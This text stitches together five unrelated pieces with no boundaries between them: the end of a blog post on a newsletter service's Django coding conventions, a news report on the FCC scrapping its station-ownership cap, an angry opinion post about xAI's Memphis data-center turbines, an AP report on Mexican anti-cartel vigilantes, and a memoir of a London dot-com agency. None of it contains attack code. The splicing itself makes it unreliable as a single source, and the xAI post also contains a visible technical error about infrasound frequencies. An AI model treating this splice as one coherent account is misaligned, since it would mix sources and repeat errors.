            metadata=_build_metadata(request),
        )
    return HttpResponse(TRANSPARENT_GIF, content_type="image/gif")

Why be so boring and or strict? Largely due to the pain of context switching. In my opinion, writing maintainable view code is more about avoiding failure than finding success, and failure tends to come in the forms of unnecessary indirection and lack of code re-use: both things made simpler by making views as "pure" (in the FP sense) as possible.

5. Testing

I've written a lot on my personal blog around tests, having spent much of my individual-contributor time over the past year working on making the CI pipeline — for which the backend test suite has long been the long pole — as fast as I can. We use pytest and pytest-django and an absolute slew of pytest plugins. Notably, we don't actually use an off-the-shelf fixture generator like Factory Boy or anything like that, instead constructing them ourselves in order to eke out more performance. A test is a plain function that takes the fixtures it needs and asserts against real rows:

# app/emails/views/record_lifecycle_email_open--test.py
# `account` is a hand-rolled fixture, colocated in account/model--mock.py and
# registered via pytest_plugins — no factory_boy, no mock.patch.
def test_records_open_event(account):
    encoded = encode_open_payload(str(account.pk), "unconfirmed")
    request = RequestFactory().get(f"/lo/{encoded}/")

    response = view(request, encoded)

    assert response.status_code == 200
    event = LifecycleEmailEvent.objects.get(account=account)
    assert event.event_type == LifecycleEmailEvent.EventType.OPENED

The things we leave out

Where Rails is famously omakase, one of the things I love most about Django is all the things not mentioned above — the ones we decided, for one reason or another, weren't the right fit for us.

Some examples:

Signals. I'm not even sure you can say we don't use them, so much as we don't abuse them. We have exactly one signal in play, a lightweight link into django-allauth. We've found that internal use of signals — connecting two bits of code that we ourselves own — is an anti-pattern that makes it harder to reason about what's happening, or to improve things for performance's sake down the line.

Class-based views. I think class-based views have some merit in some contexts, but one of the hardest things to deal with when bopping around a codebase is context-switching between a function-based view and a class-based one. And whatever slight marginal benefits a CBV might have for one use case or another, it pales in comparison to being able to be very doctrinaire and standardized about how every single view works.

Apps. We don't use apps in the conventional modular sense that Django suggests, for two main reasons. One, it's very difficult to deal with cross-app migrations, particularly squashing them. And two, it doesn't provide an obvious benefit over other organizational approaches — of which Django is largely agnostic — like just grouping related models in a folder. We have two exceptions to this rule. The first is our core API infrastructure, the bones of which live in their own app, solely because I built it that way before I had a more sophisticated view. The second is anything we think we might want to abstract out into a third-party package or open-source, where an app helps front-load some of the boundary-setting between it and the rest of our codebase.

The admin. Django's admin is a marvel for getting off the ground, and we leaned on it heavily in the early days — but we eventually outgrew it and built our own internal tooling instead.

Checks. I think checks are actually really cool, and part of me bemoans not using them more. I've found that adopting weird tests is a simpler way to enforce various constraints within the system. It costs a bit of performance — you can say that technically the REPL is slower — but again, it's one fewer moving part.

Forms and front-end stuff. We don't use Django's form abstraction whatsoever. In fact, our approach to building out the front end of the application is somewhat interesting: we lean on more of a hydration-based pattern, in which Django's job for most authenticated views is to render a thin shell and seed it with data, not to produce HTML. A single view backs nearly every page of the app — it resolves the session, serializes the account (and, for a handful of routes, a first page of the relevant resource) into json_script tags, and hands off to Vue, which boots and hydrates from that payload instead of paying for an API round-trip on load. Django renders the bones; the SPA does the rest.

Why did I use Django in the first place?

Buttondown is written in Django for a boring but revealing reason: it's what I knew at the time. Back in 2018, I was working for a company whose stack was Django and Vue, and I had been hired as someone with extensive amounts of Django experience (meaning: I knew what South was, for you fellow old-timers.)

One of my longstanding philosophies has been to limit innovation tokens. I didn't want to spend time context-switching between frameworks as I went from my day job to my side project. Over the intervening eight years, I've found myself ruing my choice of Vue as a front-end framework — but I can honestly say that, even if it wasn't a meticulously reasoned and considered choice, I have not for one second regretted using Django.

The move sets the stage for more corporate consolidation in the media industry.

FCC Chairman Brendan Carr, center, during an open commission meeting at the FCC headquarters in February.Al Drago / Getty Images

The Federal Communications Commission, the government agency that regulates the broadcast airwaves, voted Thursday to eliminate a cap on the share of U.S. television households a single company can reach, a major move that could pave the way for more corporate consolidation in the media industry.

In a 2-1 vote, the FCC repealed a 22-year-old rule holding that a company cannot own stations that reach more than a combined 39% of the U.S. television audience. The ownership limit will be replaced by a case-by-case approach.

The decision to remove the cap had been widely expected. FCC Chairman Brendan Carr last month wrote an op-ed for the conservative news website Breitbart calling the ownership limit an “outdated” policy that blocked local broadcasters from “gaining the same scale that their competitors are free to enjoy.”

“The cap no longer constrains the power of national programmers. Instead, it prevents local broadcasters from competing on a level playing field,” said Carr, a Republican who was appointed head of the FCC at the start of President Donald Trump’s second term.

The 39% cap has been in place since 2004, when Congress boosted a previous 35% limit set in the 1990s. The rule remained unaltered for more than two decades partly because it is codified in federal law.

Carr has contended that the FCC nonetheless has statutory authority to scrap the rule — a position that is likely to face legal pushback. Free Press, a progressive consumer group, said it planned to sue over the FCC’s “unlawful power grab.”

Anna M. Gomez, the lone Democratic commissioner on the FCC, blasted the vote in similar terms, calling it “unlawful on its face.”

“Eliminating the cap does not free local broadcasters from economic pressure, it just changes who is doing the squeezing,” Gomez said in a statement. “The large station groups positioned to grow even larger under this decision are not local broadcasters, they are national companies that own local stations and increasingly dictate what airs on them.”

The vote pitted Gomez against Carr and a third commissioner, Olivia Trusty, a Republican who was also appointed by Trump.

The FCC’s move delivers a win to Nexstar Media Group, the nation’s largest owner of local television stations. Nexstar is seeking to acquire rival broadcaster Tegna in a $6.2 billion deal, though a federal judge put the transaction on hold after eight state attorneys general filed an antitrust lawsuit. The combined entity would reach at least 60% of U.S. households.

Carr announced in March that Nexstar’s purchase of Tegna had been exempted from the 39% rule on a stand-alone basis, saying that decision was “consistent with longstanding FCC authorities.”

Nexstar and other top broadcast station owners have repeatedly urged the FCC to nix the limit, arguing that it prevented local TV channels from competing in a crowded media marketplace increasingly dominated by streaming video services, social media apps and other platforms that are not subject to similar ownership regulations.

“These rules were last updated before Netflix streamed a single movie, before the first iPhone, and before Instagram existed, and they continue to single out local broadcasters based on a competitive landscape that disappeared with the VCR,” a Nexstar spokesperson said after the FCC announced it would vote on the rule.

“No one would suggest limiting the reach of YouTube, Amazon, or CNN, yet local broadcasters are still forced to compete under rules written for a different century,” the spokesperson added.

Carr’s efforts to scrap the rule have drawn vocal opposition from some consumer advocates and lawmakers. The opponents of the rule change have argued that nixing the cap would accelerate media consolidation, trigger rounds of layoffs, shrink the pool of independent station owners and limit viewpoint diversity on the airwaves.

“Trump’s FCC Chair is trying to illegally rewrite the rules to make it easier for billionaires to line their own pockets while jacking up costs and controlling what Americans watch,” Sen. Elizabeth Warren, D-Mass., said. “After rubber-stamping the Nexstar-Tegna megamerger, this looks like the Trump administration’s latest attempt to roll out the red carpet for more antitrust disasters.”

The FCC’s critics have also repeatedly questioned whether Carr has the legal authority to change a policy put in place by an act of Congress.

“Brendan Carr cannot undo the limit that Congress set just because he feels like it,” said Matt Wood, the vice president of policy and general counsel at Free Press.

xAI Ignores Laws And Profits: Rules For Thee, Not For Me

In the latest example of corporations existing outside of the law, SpaceX (who is for some reason the controlling entity of xAI now) announced they'll be removing the illegal, unpermitted gas turbines they've been running at their Memphis Colossus data center... by July 2027. xAI gets to flout economic planning and restrictions that any normal group would have to follow, all for the sake of being able to get another fuckass data center built in record time. In the meantime, real people will face declining health and increased pollution. This is not a new story, but it's worth telling anyway.

---

xAI, SpaceX, and the Race for AI Buildout

For those blissfully unaware, xAI is the subsidiary of SpaceX (previously under X, which itself was previously Twitter) that is in charge of AI development and data centers for the xAI series of products. This includes Grok, which has thus far been involved in controversies including but not limited to:

• Spreading antisemitic slurs and conspiracies while calling itself "Mecha-Hitler"
• Creating widespread non-consensual nude images of primarily women and children
• Acting as a mouthpiece for Elon's racist belief in South African white genocide
• Generally being used by chuds to try and back up or reject things they don't like ("Grok, is this true?")

Beyond that, xAI has also been happy to partner with the federal government for the use of its models across agencies including the Department of Defense (come on, enough with this Department of War shit). Now with a product like that, you might be surprised to learn that some people aren't jazzed about its continuing development and growth, especially when it spews smog in their backyard. xAI continues to barge forward however; decriers be damned in the name of "progress".

The AI models keep expanding, requiring more memory and cores for what "improvements" there are. So the name of the game right now is data centers; acres and acres of computer racks, loaded with the best money hardware can buy (and some less so, given the current supply crunch). These racks are needed to keep up with the ballooning requirements of each new "frontier" (a buzzword label with no actual inclination of performance of improvement) model developed, which everyone bought into the AI hype will immediately hop to because it's all novelty over utility.

Colossus: A Short History

The Colossus I Data Center was brought online in 122 days from breaking ground to operation. Some hail that as an achievement, but others (like myself) see it as a brutal pace to avoid having to answer pesky questions like "How will this affect the nearby area?" and "What sort of mitigation plans to do you have for the data center's waste?" The data center is powered by dozens of unpermitted gas turbines, which they initially refused to acknowledge were running until journalists and groups used thermal imaging to prove they were indeed on and spewing toxins into the air (including smog, formaldehyde, and other nasty things). This resulted in a suit from the Southern Environmental Law Center (SELC) on behalf of the NAACP for violations of the Clean Air Act. Their claim was that the company operated without public oversight or accountability for these illegal constructions and sought legal stoppage until proper accounting can be done of the effects of said turbines.

Enter the Federal Government and the Department of Justice, who pushed the courts to dismiss the suit as a matter of national security, stating that the xAI models were needed for "artificial-intelligence innovation that supports the Department of War’s military operations." So, residents are left without legal means of contesting these developments, barring individual claims and damages.

This all brings us to July 30, 2026, where xAI announced that the company had entered an agreement with the Mississippi Department of Environmental Quality (as it sits on the border of Tennessee and Mississippi) that it will complete removal of the "temporary" turbines (now online for 2 years) and replace them with a natural gas power plant by July 2027. This reads, to me at least, as a swift stomp on the balls of the nearby area for several reasons. First, it seems all but certain they will face no punishment for spewing toxins into the environment for the past years because this is now in a timeline agreed upon by the state, with no announcement of any fines or actions.

"Facts" and "Fiction"

Embarassingly, they can't seem to get their propaganda straight either, as in their update on the construction where they announced the agreement, they specify "69... temporary, mobile turbines that currently power our facility in Southaven, Mississippi." This seems at odds with their "Fact V. Fiction" FAQ linked at the bottom of the page, which contains a string of statements I truly can't make heads or tales of. Please check out the link and we'll reconvene to talk about what it says.

So according to statement one, there were temporary turbines, but they were moved to an extremely nearby different site, and then they were removed. They applied for 15 permanent turbines, still running the temporary ones in the meantime, and received approval 6 months+ later. However, they won't need that many, and they'll only be backup, so they'll primarily (assumedly) be drawing from the local power grid. The next statement clarifies that there won't be any turbines at Memphis data center; they'll be down the road at Electrolux, connected via substation that talk about spending millions to build in statement seven. In statement two, they say that there's nowhere near 90 turbines at its next data center (a number significantly higher than any I've seen in these conversations, most likely to make them sound silly), and say that they'll not have any turbines at the new one (because it'll be wired in to all the turbines they have elsewhere).

They'll eventually be hooked into the grid according to the statement three, and they will draw from it but have battery and turbine backup if things get overdrawn according to statement five. There's then extremely careful wording in statement six where they contest "Colossus will be one of the largest emissions sources in Memphis" by stating "actually we'll be using state-of-the-art to reduce emissions" but then stops short of saying "and thus the statement is wrong", probably because even with the fancy tech it still will be highly polluting.

So after all these words and attempts to clear the air, the only thing I'm confident in is that they absolutely, desperately do not want to directly discuss their overall plans for these sites. They make every opportunity to speak around and negate concerns, without really clarifying the extent of anything barring the 12 (claimed) permanent turbines at Electrolux and two power substations. I guess they also do claim the wastewater treatment was supposed to come online in 2026, however officials were told last month that construction on the site isn't even supposed to restart until Q12027. In the meantime, they will continue to drain the area's aquifer. It is unclear how long they need to complete it.

So, Why Memphis?

I, and other smarter people, would attribute the location of this data center, and its use of unpermitted gas generators which it denied for months existed or being used, to institutional and historic racism. See, Memphis is a majority Black population, who historically have been redlined to more industrial and polluted areas such as these across the country. This is a known issue to this day, where minority heavy neighborhoods will be subject to worse pollution and health outcomes than similar, whiter areas. This includes things like this exact situation, where the development of health hazards such as data centers are allowed only in less affluent and darker communities. The situation in Memphis is actually worse than I thought, as there somewhere in the range of 10-15 data centers in the outlying Memphis area where people very much do live.

The physical pollution coming from Colossus' 69 gas generators is one thing that indisputably will hurt the environment around the area and its residents. However, there's growing concern around audio or sonic pollution and the effects it has on flora, fauna, and people in the area. That type of pollution can include easy-to-identify things, like the loud sounds of construction or machinery moving then disrupting sleep and normal life, but it also includes infrasonic pollution, or audio that is below the range of human hearing (sub 20mhz). Despite humans not being able to hear it, there's growing academic and other research that show these sounds can and do have very direct negative health effects, up to several miles away. This can include things like a general sense of unease all the way to debilitating migraines, nausea, and other symptoms. The fact that these sort of symptoms have been reported across many communities that have had data centers pop up and this data center (plus at least one more from xAI alone to come) were allowed to be be built so close to housing shows a damning disregard for the health and well-being of the people living there.

No One Is Held Accountable For "Moving Fast And Breaking Things"

This is the Silicon Valley ethos used to justify harm in the name of "progress". It's one thing when it's contained to Silicon Valley or on the worldwide web, it's another when it comes to your backyard or to the health of entire communities. The pollution, amongst everything else, will have clear and quantifiable harm to the communities surrounding these new data centers. Normal, smaller developments are bound by permits and hearings and the like. These permits require impact reports or citizens to sound off on the ways that it will effect them. Clear, traceable paths where developers can be held liable for deadlines, emissions, and negative outcomes.

xAI faces none of those things. Their developments are draped in shadow and purposefully not publicized because they are aware of how bad what they're doing is. They hope that if they just refuse to talk about it long enough, eventually we'll just accept this as the price of progress and let them off the hook for purposefully making life worse for a considerable amount of people. All this for the war crime and child porn generator; for something that's being used to harass women online right now. All this for something a majority of people don't even want; to add to the bottom line of SpaceX. We should not be willing to overlook the human and environmental costs for a company to profit. We've done that far too long, and look where we are now; talking about a bunch of illegal generators stood up to make the racism machine work more gooder.

GUAJES DE AYALA, Mexico (AP) — Jesús Domínguez pushes through thick brush lining a rugged mountainside with an AK-47 slung over his shoulder and a grenade fastened to his leather belt.

He marches alongside a pack of camouflage-clad men patrolling the rural stretches of Mexico against one of the country's most powerful drug cartels.

Armed with military-grade weapons smuggled from the U.S., the 50-man force is one of dozens of "autodefensa," or "self-defense," groups that have emerged over the past decade in Mexico to fight increasingly sophisticated cartels in areas far out of the reach of security forces.

"The government doesn't care about us, and it's impossible for our arms to compete with (the cartel's)," said Domínguez, 34, from a watch post overlooking the mountains of Guerrero state. "They come at you with a ton of force, so you need to respond with force…If you don't, they'll overwhelm you."

The vigilantes in Guajes de Ayala join a volatile landscape of warring armed groups – from cartels with tentacles across Latin America to local mafias – in regions like Guerrero ravaged by splintering cartels for decades. It's a tangle Mexican President Claudia Sheinbaum will have to unravel under pressure from the Trump administration and fears of more violence following the killing of Mexico's most powerful drug lord.

'We don't want to be slaves'

The vigilante group was formed in 2020 when the cartel La Nueva Familia Michoacana tried to take control of seven communities buried deep in the mountains along a strategic throughway connecting cartels to the port city of Acapulco, where drugs and other illegal goods flow.

Residents said the cartel, designated a foreign terrorist organization last year by the Trump administration, started illegally logging in their lands and tried to force residents to join fights against rival gangs.

In the absence of Mexican military and police forces, locals armed themselves. Sporadic fire fights stretched on for nearly a year. Residents fled on foot, walking hours through far-off mountains with little more than the clothes on their backs. Communities of 1,600 people dwindled to just 400.

After a pause in the conflict, the vigilantes rearmed in October when the Nueva Familia Michoacana began to again push into their territory, setting up fentanyl labs and monitoring them with drones, said the group's leader, Javier Hernández.

Now, the men guard their towns from mountain watch posts and surveil 100 cartel gunmen camped out a few miles (kilometers) away using their own drones.

"We don't want to be part of their ranks and we don't want to leave our lands," Hernández said. "We don't want to be slaves to any cartel."

'They corner you'

Conflict is more entrenched in Guerrero than in most Mexican states, with a history of militancy dating back to guerrilla movements in the 1960s. The landscape has grown increasingly complex as cartels have fractured into rival factions creating a much different situation than in the past when one cartel held monolithic control over a region. According to a 2025 DEA report, five cartels operate here. So do various local gangs and vigilante groups, many of which are allied with the larger cartels.

"You have a kaleidoscope of armed groups," said Mónica Serrano, a professor at the Colegio de Mexico studying violence in Guerrero. "It's one of the most vexing challenges facing the country and is at the root of the violence."

Self-defense forces took off in Michoacan and Guerrero around 2013. Like the group in Guajes de Ayala, they were formed as a desperate attempt to avoid being caught in the crossfire of warring cartels.

But in places where criminal groups are more present than law enforcement, nearly every vigilante movement that has emerged in recent history has either been coopted by rival cartels or massacred. Mexico's government has been split about whether it should talk to vigilantes or treat them as criminals.

In some cases, groups became cartel paramilitary forces themselves, flush with money and terrorizing the communities they claimed to protect. In others, cartels armed local citizens to help fight off rival gangs.

"They corner you and you can't do anything," Domínguez said. "That's how what's been created – which began as autonomy – is corrupted. People end up joining criminal groups just to survive."

Made in USA

The Guajes de Ayala community said it remains independent, but forces wield equipment far beyond the means of local farmers, including drone detection systems and tapped radio frequencies, and DJI drones worth thousands of dollars to spy on cartel gunmen.

They carry AK-47s and AR-15s stamped with "MADE IN USA" and names of gun makers in Florida, South Carolina and even Poland. Because Mexico has strict gun control laws, the vast majority of arms in Mexico are smuggled from the U.S. by cartels.

One gunman confirmed the vigilantes purchase guns from cartels, but would not say from which group.

Another said he was once part of the Jalisco New Generation Cartel, or CJNG, and was paid to join the vigilantes. Another wore a hat reading "El Señor de los Gallos," a nickname for Nemesio Oseguera Cervantes, the powerful CJNG leader slain by Mexico's military in February.

Two local criminal gangs fighting with the Nueva Familia Michoacana allow Guajes de Ayala residents to transit their territories to not be closed in on all sides like in the past.

At the same time, Hernández said he feeds intelligence of the rival cartel to law enforcement, and that his group turned down alliance offers from other vigilante groups known for preying on civilians.

The proliferation of armed groups across Mexico is a test for Sheinbaum as she seeks to offset Trump administration threats of U.S. military intervention.

Under Sheinbaum, security forces have come down on criminal groups with a heavier hand than her predecessors. Homicides sharply dipped since she took office to the lowest levels in a decade, government figures show.

But Hernández said, for them, things are worse than before.

"It's a lie. They say the government is doing wonders, but it's nothing but propaganda," he said.

The killing of Oseguera Cervantes, or "El Mencho" was a major blow to Mexico's most powerful criminal enterprise. But experts and some in communities like Guajes de Ayala worry it could fuel more violence if other criminal groups make violent power grabs or if rival factions of CJNG war for control.

One Marine captain in Guerrero, who spoke on condition of anonymity out of security concerns, said his forces were "preparing for a possible reorganization of these groups." He added Mexican forces haven't abandoned communities like Guajes de Ayala, and respond to calls for help from rural areas.

'A place of silence'

The villages in Guajes de Ayala have become ghost towns filled with vacant homes of people too scared to return.

Marisela Mojica, Domínguez's mother, sent six of her children and grandchildren away after her daughter was kidnapped by people claiming to be the Nueva Familia Michoacana.

"If they come to kill us all, I want one of us to still be alive," she said.

Mojica said she hasn't seen her family in six years or met two grandchildren born after the family fled. She doesn't know if she ever will.

Teachers too scared to cross from one criminal group's territory to another stopped coming to classes in October, leaving schools abandoned. Government medical clinics have shuttered.

Hernández counts the abandoned homes left in ruins as he and his gunmen drive out to patrol the rolling peaks and valleys enveloping them.

"These mountains are a place of silence," he said. "You have no voice, and no one hears you."

Back in 2024 I posted a few of these on Twitter (thread reader) after digging out old photos from the dot-com boom. I was working in London at a digital agency called Blueberry. Please take a seat for peak translucent plastic frutiger aero aesthetic, long before the term was coined, and some period flashbacks if you were working on the web at this time.

I’d come from graphic design agency Form, but wanted somewhere to do bigger web projects with other likeminded souls. Blueberry was more like a social club than a job, and we still shipped a lot of work for clients like Laura Ashley, Ben & Jerry’s, Ted Baker, The Times, Boo.com, Snow24, and many more I forget. Everything I produced was hand-coded in HomeSite: HTML, JS, CSS. This was before browser CSS support came of age, so it was all table layouts with single pixel spacer gifs: good times!

If you’d like to know how crazy those days were: at one point they asked me to work a weekend and I already had plans, so they asked what it would take. I wanted a classic FIAT 500, so I named the price of the car: multiple thousands of pounds. The management said yes, it was their only option. So that’s what I got paid for a weekend building a site nobody else could get done.

---

Home & Away

That’s me on the left of the first shot, curling my bottom lip when I’m deep in thought as I still do today. I must be 23 or 24 years of age. HomeSite undoubtedly open somewhere in Windows. The reindeer on my monitor pooped little brown jelly beans when you pressed down on its rear end, a gift from my girlfriend at the time.

On the desk facing the camera, my good friend Morgan Gibbons’ (Creative Artworker extraordinaire) Graphite Power Mac G4 tower, Apple CRT, translucent Pro Keyboard and Mouse, Sony headphones, promotional postcards: Phwoar! G4, some Renault Clio car porn, and of course a nice cup of tea. His desktop wallpaper is Quake III, which we all used to play over the LAN “…in your face!”. There’s an official Dreamcast magazine in the corner featuring Crazy Taxi, which dates this photo to March 2000. I also spy a Bowser wrist rest in front of the keyboard, an Apple mouse mat with rainbow logo, and an Iomega Zip drive just to its right.

Bubblegum iMacs were everywhere on the floor. My one sat dark among paper trays; another was sitting pretty on with Mac OS X Aqua-era desktop art, with a mismatched purple translucent mouse. Cold Fusion was the hottest back end programming language at the time, and Mark Stradling was our guy for that. I seem to remember he drove a classic Triumph Spitfire car during his time off.

Later I moved upstairs onto a secret project and upgraded to a Sony VAIO PCG-Z600RE laptop, a Palm Vx, and a Sony Ericsson phone. And of course I had a test iMac of my own. We can see my being a FIAT fan boy because by this point I was driving the car I bought with a weekend’s earnings. There’s also a NGPC (Neo Geo Pocket Color) in its box nestled amongst the mess of my desk, and a promo copy of Dreamcast game Crazy Taxi for me to take home.

For some reason I’m sat at somebody else’s desk, sizing up the height and fit of the chair. Diesel jeans and jumper, Deliverance food box on the partition (decades before Deliveroo, Just Eat, Uber Eats, etc). I guess we must have been working late one night.

After that I think I complained and got moved downstairs again, sitting next to the legend that is Shaun Jackson, who I am still in touch with. IIRC I’m helping him out with a tricky bit of page layout!

---

Getting Things Done

The open plan floor, with offices at either end and a kitchen half way down, was all curved purple desks and CRT monitors. A hive of activity and house music or drum’n’bass. I have fond memories of BT (Movement in Still Life), various Deep Dish compilations (Yoshiesque) and the back catalogue Omni Trio being played regularly, at least by me.

IMG

Closer in: two computers per-desk, magazines and CD-ROMs on the partition, a MiniDisc player!

IMG

Everybody was always moving around as they worked on different projects. I’m pretty sure this is another photo from Morgan’s desk when it was one island away from his first desk. The PlayStation 2 and Phwoar! G4 are the giveaway. I’m sure somebody will be able to date that fashion magazine.

IMG

---

Reception

The entrance from the corridor: frosted Blueberry doors, glass wall looking into the bar stools, Christmas lights still up in the atrium.

IMG

Inside, reception had chrome stools and a bar-height counter. Visitors could surf the web sat in dentist chairs with iMacs on swing arms. Naturally!

IMG

---

Backroom

There was servers cabinet in most rooms, and we had a dedicated server room: rackmount drives, a switch with a bird’s nest of blue patch cables, a CRT console in the middle of the stack, and a beige tower on the floor beside it. It was in the server room that unwitting people were first subjected to Goatse (do not search this) and were cries would echo around the building as one of the network guys lost a game of Quake III or Unreal Tournament.

IMG

---

Todo

This whiteboard has my name next to some of Thursday’s tickets:

• Finish Instant Win — Matt
• All other graphic changes — Matt
• Home page — Karen/Gus
• Store designs / Postcard designs / Banner ads / Affiliate section — Gus/Karen

IMG

---

Viral Email

We had a sister company called Magic Button that did affiliate marketing. Unfortunately, a girl who worked there sent an intimate email to a guy she knew. He forwarded it to his friends, who forwarded it to their friends, and so on, until there were so many news reporters swarming the building that the girl had to take a few months off to calm things down. You can read more about that at The Guardian, 15th December 2000.

---

Game Over

By April 2001 the downturn was already in the trade press, and eventually the liquidators arrived.

Just before they claimed everything, I took a Bubblegum iMac as a parting “gift”. Then a second one, because the first didn’t have a DVD drive. For a while that machine ran OS 9 and briefly the OS X Preview. I used it to play imported DVDs and learn more about how Mac OS X worked.

---

Credits

Thanks to Morgan Gibbons and Anthony Hogbin for some of the photos and memories.